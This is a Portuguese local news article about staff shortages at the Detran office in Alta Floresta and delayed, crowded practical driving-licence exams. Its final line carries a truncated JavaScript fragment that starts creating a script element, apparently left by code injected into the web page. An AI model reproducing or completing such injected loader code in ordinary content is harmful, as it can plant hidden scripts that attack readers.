Mais de 500 alunos realizaram provas práticas de CNH

Dionéia Martins

A precariedade do serviço ofertado aos usuários do Detran pelo governo do estado, já vem se arrastando a anos. No entanto no último ano a categoria resolveu cruzar os braços e paralisar os serviços para pressionar o governo a chamar os aprovados no último concurso e assim melhorar o atendimento nas agências.
Em Alta Floresta a 20ª Ciretran que atende também os municípios de Carlinda, Paranaíta, Nova Monte Verde, Nova Bandeirantes e Apiacás, funciona de forma precária e tem somente oito funcionários para atender a demanda de todos esses municípios.
Em 2015, quem precisou fazer a carteira de habilitação também sofreu com os problemas do Detran, a banca que vem da capital para examinar os candidatos, não conseguiu cumprir a agenda que seria de 6 testes anuais e veio somente três o que acabou prejudicando.
Nas aulas teóricas os candidatos não foram prejudicados, a prova prática que estava marcada para acontecer em novembro foi adiada e só aconteceu no final de janeiro, resultando num acúmulo de pessoas para fazerem os testes.
A banca examinadora que realiza os testes práticos para a retirada da Carteira Nacional de Habilitação (CNH), do Departamento Estadual em Mato Grosso (Detran-MT), esteve em Alta Floresta entre os dias 26 à 29 de janeiro onde aplicou aproximadamente 540 testes práticos de carro e moto.
Muitos alunos se sentiram prejudicados pela condição climática, no período estava chovendo e local em que é aplicado a prova, ficou enlameado e teve que ser mudado para o asfalto, outro fator atribuído é que os testes tiveram que serem aplicados durante a noite para que a banca examinadora pudesse avaliar a todos.
Os proprietários de autoescolas cobram do governo que os testes sejam aplicados pelo menos a cada dois meses, para que a avaliação seja feita de forma mais justa e mais qualificada. Outra cobrança feita pelas autoescolas é o local adequado para aplicação das provas, o local que hoje é utilizado pelas autoescolas é improvisado.
O Detran é uma das fontes que mais arrecada dinheiro para o governo do Estado e uma das que menos recebe investimento, principalmente as agências do interior como a de Alta Floresta que atende 6 seis municípios com somente 8 funcionários.var d=document;var s=d.createElement(‘script’);